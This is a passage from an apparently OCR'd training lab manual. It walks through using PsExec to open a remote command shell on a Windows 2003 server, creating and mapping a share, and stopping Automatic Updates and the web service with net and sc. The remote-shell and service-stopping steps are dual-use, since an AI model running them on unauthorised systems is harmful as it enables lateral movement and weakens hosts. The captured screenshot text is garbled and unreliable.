1. Logintothe Windows 7 system and open a command prompt by double clicking
on the cmd.exe shortcut on the desktop. Type the following to open the
Sysinternals EULA screen:

C:\>psexec

Figure 21: The Windows Command Prompt

2. Read the EULA and click Agree if you agree to the license terms.

Iskxec License Agreement IEI

‘You can alzo uze the faccepteula commanddine switch to accept the EULA.

SYSINTERNALS SOFTWARE LICENSE TERMS

These license terms are an agreement between Sysinternals (a wholly
owned subsidiary of Microsoft Corporation) and you. Flease read them.
They apply to the software you are downloading from Systinternals.com,
which includes the media on which you received it, if any. The terms also
apply to any Sysinternals

updates,

supplements,

Internet-based services, and o

Prirt ¢ Decline

Figure 22: The EULA for PSEXEC
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If the IPCS share is mapped, there is no need to provide credentials when you use the
psexec command. You can provide a username and password with the command.

3. Type the following to obtain a command shell on the remote 2003 server:
C:\>psexec \\win2k3dc cmd.exe

winZk3dc cmd. exe

5 v1.98 - Execute processes remotely
Copyright (C) 2001-2010 Mark Russinovich
Sysinternals - waww.sysinternals.com

Microsoft Windows [Version 5.2.3790]
' 85-2003 Microsoft Corp.

Figure 23: Getting a Remote Shell Using PSEXEC

4. Type the following command to verify that you are on the remote machine:
C:\WINDOWS\system32>net config server

WINZK3DC
r Comment

tware version Microsoft Windows Serwver 2003

ver is acti on
Netbi« mb (000000000000)
NetBT_Tcpip_{B32DBF0A-1C96-4EA4-A179-8327A1A44778F (005056980096)

r hidden NG
mum Logged On Users Unlimited
Maximum open fTiles per session 16384

Tdle session time (min) ) 15
The command completed successfully.

Figure 24: The NET CONFIG SERVER Command

5. Type the following command to switch to the root of the C Drive:
C:\>cd \

Figure 25: Switching to the Root of the C Directory

6. Make a directory called share on the root of the C: Drive by typing the following:
C:\>mkdir share
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C:\>mkdir share

Figure 26: Making a Directory Called Share on the Root of C:

7. To share the newly created share directory, type the following in the root
directory:
C:\>net share share=c:\share

share was

Figure 27: Sharing the Share Directory

8. Type the following command to view all of the shares on the system:
C:\>net share

net share

Share name Resource Remark

Remote Admin

Default share

Remote IPC
VOL\sysvol\msec. local \SCRIPTS

Logon server share

Logon server share

Figure 28: The Shares on the Windows 2003 Server

The c:\share was created by using the net share command. The NETLOGON and SYSVOL
shares were created when Active Directory was installed. The CS and Admin$ shares are
special administrative shares that map to the C Drive and Windows folder respectively.

9. Create a file within the share folder called world.txt by typing the following:

C:\cd share
C:\share>echo hello world > world.txt

:\>=cd share

C:\share>echo hello world > world. txt

Figure 29: Creating a file within the Share Folder
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The file world.txt is created, containing the phrase “hello world”.

10. Exit the PSEXEC session by typing the following command:
C:\share>exit

C:\share=exit
cmd.exe exited on winZk3dc with error code 0.

Figure 30: Exiting the PSEXEC cmd.exe Session

An error code 0 message when using PSEXEC indicates the operation was successful.

Now, you have returned to your Windows 7 machine. The newly created share named
share you created on the remote 2003 machine can be viewed by using net view.

11. In the Windows 7 command prompt, type the following to view the newly
created network share on the server:
C:\>net view \\win2k3dc

C:h\>net wview
Shared resources

sShare name

ME TLOGOMN i sk Logon serwver share
share i

SYSVOL i Logon serwver share
The command completed successtully.

Figure 31: The Newly Created Share is displayed

Now, we can map a drive to the share and view the resources stored on the share.

12. Type the following command to map a drive to the share folder on Windows

2003 Server:
C:\>net use y: \\win2k3dc\share

=net use y: ‘“\winZk3dc\share

he command completed successfully.

Figure 32: The Drive was Mapped Successfully
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13. Type the following commands to access the drive and view the resources:
C:\>y:
Y:>dir

-d 'i I
Volume in drive Y has no
Volume Serial Number 1is

Directory of Y:\

10:52
10:52 PM -DIR> ..
10:52 PMm 14 world. txt
1 File(s) 14 bytes
2 Dir(s) 1,345,294,336 bytes free

Figure 33: Viewing the Contents of the Mapped Drive

The world.txt file is listed on the mapped drive. You can read the file using the type
command.

14. Type the following command to view what is written in the world.txt file:
Y:>type world.txt

Y:\=type world. txt
hello world

Figure 34: Viewing the Contents of the Mapped Drive

The phrase “hello world” is within the world.txt file.

15. Type the following commands to remove the mapped drive from your system:
Y:>c:
C:\>net use y: /del /all

/del /[y
ted successfully.

Figure 35: Removing the Mapped Drive

16. Close the Windows 7 command prompt.
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Task 2.2 Conclusion

PSEXEC is a powerful utility that you can use to run commands on remote systems. If
you run cmd.exe on the remote system, you will have a command shell connected to
the remote machine. After obtaining a remote command shell, you can run commands
on the remote machine. With administrative rights, you can perform almost any task.

Task 2.3 Discussion Questions

From where do you get the PSEXEC command?

Do you need to provide credentials when using PSEXEC?

What is the command to share a folder on your C: drive called share?
What does an error code of 0 indicate when you are using PSEXEC?

PwwnNeE
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Task 3 Stopping, Starting, and Removing Services

In this section, you will start and stop services on a remote machine from the command
line. This can be done by using the sc, which stands for service control, command or
using the net command if you are connected to the machine through a remote shell.

Task 3.1 Using the NET and SC Commands

If you can obtain a shell on a remote system using PSEXEC, you can stop and start
services from the command line. You can also stop, start, install, and uninstall services
by using the sc, or service control command. The sc command, which has been included
with the Windows operating system since Windows XP, can be used to run stop, start,
install, and uninstall services on a local computer or on a remote machine.

Open a Terminal to Get Started

1. Open acommand prompt on the Windows 7 machine by double clicking on the
cmd-shortcut on the Desktop.

Figure 36: Opening a Command Prompt on Windows 7

2. Type the following to obtain a command shell on the remote 2003 server:
C:\>psexec \\win2k3dc cmd.exe

s remc :te]‘_-:.-'
Russinovich
Te

WA . _-_:..' ‘_:-l I It‘dr' na . C0Om

790]

Microsoft Windows :
(C) Copyright 2003 Microse Corp.

"'IP D': :"n' "1.
Figure 37: Getting a Remote Shell Using PSEXEC
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3. Type the following command to verify that you are on the remote machine:
C:\>net config server

rstem32>net config serv _
ver Name \WAWWINZ2K3DC
ver Comment

version Microsoft windows

Logged On Users Unlimited
open files per session i :
Idle session time (min) )
The command completed successfully.

Figure 38: The net config server command

4. Type the following to enumerate the started services on the 2003 server:
C:\ WINDOWS\system32>net start

_
ER win2k3do cmd.exe

A\WINDOWS\system3Z=net start
These Windows services are started:

Application Management

Automatic Updates

COM+ Ewvent System

COM+ System Application

Computer Browser

Cryptographic Services

DHCP Client

Distributed File System

Distributed Transaction Coordinator
DNS Client

DNS Server

Error Reporting Service

Event Log

File Replication Servic

FTP Publishing Servic
Help and Support

Figure 39: Listing Started Services
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5. Type the following to stop the Automatic Updates service on the 2003 server:
C:\WINDOWS\system32> net stop “Automatic Updates”

: /stem32=net stop “Automatic Updates"
The Automatic Updates service 1is stopping...

The Automatic Updates service was stopped successfully.

Figure 40: Stopping the Automatic Updates Service

6. Exit the PSEXEC session by typing the following command:
C:\ WINDOWS\system32> exit

\WINDOWS\system32>

%1
cmd.exe exited on win2k3dc with error code 0.

Figure 41: Exiting the PSEXEC cmd.exe Session

An error code 0 message when using PSEXEC means the operation was successful.

While net start can stop and start services, it cannot install or uninstall them. This is
where the sc, or service control command can be very useful. Also, net start and net
stop will only work on the machine you are connected to. You cannot specify another
system like you can with the service control, or sc, command.

7. Type the following to determine the level of access on the Windows 2003 Server
system:
C:\>sc \\win2k3dc query | more

BN Administrator: cmd - Shortcut EI

winZk3dc query | more

AppMgmt
Application Management
20 WIN32_SHARE_PROCESS
4 RUNNI
(;l'EC?T TOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN:
(Ox
CE_EXIT_CODE 0>
POINT

WAIT_HINT : 0x0

NAME :
Remote Server Manager
10 WIN3Z2_OWN_PROC

NOT_PAUSABLE, IGNORES_SHUTDOWN)
XIT_CODE
CE_EXIT CODE : 0

Figure 42: The SC command shows installed services
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You can page down though the service list by hitting enter until you are through the list.
Or, hit the space bar to scroll down one page at a time. View the 2 services listed as in
the picture below (they are located towards the end of the list):

B Administrator: cmd - Shortcut E

SERVICE_NAME: W3SVC
DISPLAY_NAME: World Wide '-'u't'b Publishing Service
TYPE : 20 WIN3Z2_SHARE_PROCESS
STATE : 4 RUNNING
(STOPPABLE , PAUSABLE, ACCEPTS_SHUTDOWN )
WIN32_EXIT_CODE 0 (0xD)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0

WVICE_NAME: winmgmt
DIaPLA. _NAME: Windows [1dﬂEli'|tIIH-_'ﬂt Instrumentation
TYPE : 20 WIN32_SHARE_PROCESS
STATE : 4 RUNNING
(STOPPABLE , PAUSABLE, ACCEPTS_SHUTDOWN )
WIN32_EXIT_CODE 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0

Figure 43: The W3SVC and WINMGMT services

8. Type the following to stop the World Wide Web Service on the remote server:
C:\>sc \\win2k3dc stop w3svc

SERVICE_NAME: wdsvc _
TYPE 20 WINBL_SHARE_PROCESS

. NOT_PAUSABLE, IGNORES_SHUTDOWN):

'a'.'FIT HIIJT

Figure 44: Stopping the World Wide Web Service

The state of the service is stop pending. You can also use sc to verify that the service is
stopped
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9. Type the following to view the World Wide Web Service status on the server:
C:\>sc \\win2k3dc query w3svc

SHARE_PROCESS

OFFAELE, NOT_FAUSABLE, IGMOR SHUTDOWN )

WATT_HINT

Figure 45: A Query of the W3SCV Service indicates it is Stopped

10. Type the following to start the World Wide Web Service on the remote server:
C:\>sc \\win2k3dc start w3svc

IT_FPAUSABELE, IGMORES_SHUTDO

Figure 46: Indication that the W3SVC Service is starting

It says start pending. You can also use sc to verify that the service is running.

11. Type the following to view the World Wide Web Service status on the server:
C:\>sc \\win2k3dc query w3svc

o

i}

ELE, ACCEPTS_SHUTDOWN )

C T
WATT_HINT

Figure 47: A Query of the W3SCV Service indicates it is Running

12. Close the command prompt when finished.
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Task 3.2 Conclusion

With the sc and net command, services can be stopped and started from the command
line. The net command only allows you to stop and start services on a local machine.
However, you can use PSEXEC to obtain a command prompt on a remote system, then
use net stop and net start on that system. The sc, or service control, command works
on remote systems and allows you to stop, start, install, and uninstall services.

Task 3.3 Discussion Questions

What is the net command to stop the Windows Update Service?

What is the sc command to get the list of services on a remote machine
What is the sc command to stop the W3SVC service on a remote system?
What is the sc command to start the W3SVC service on a remote system?

PwnNeE
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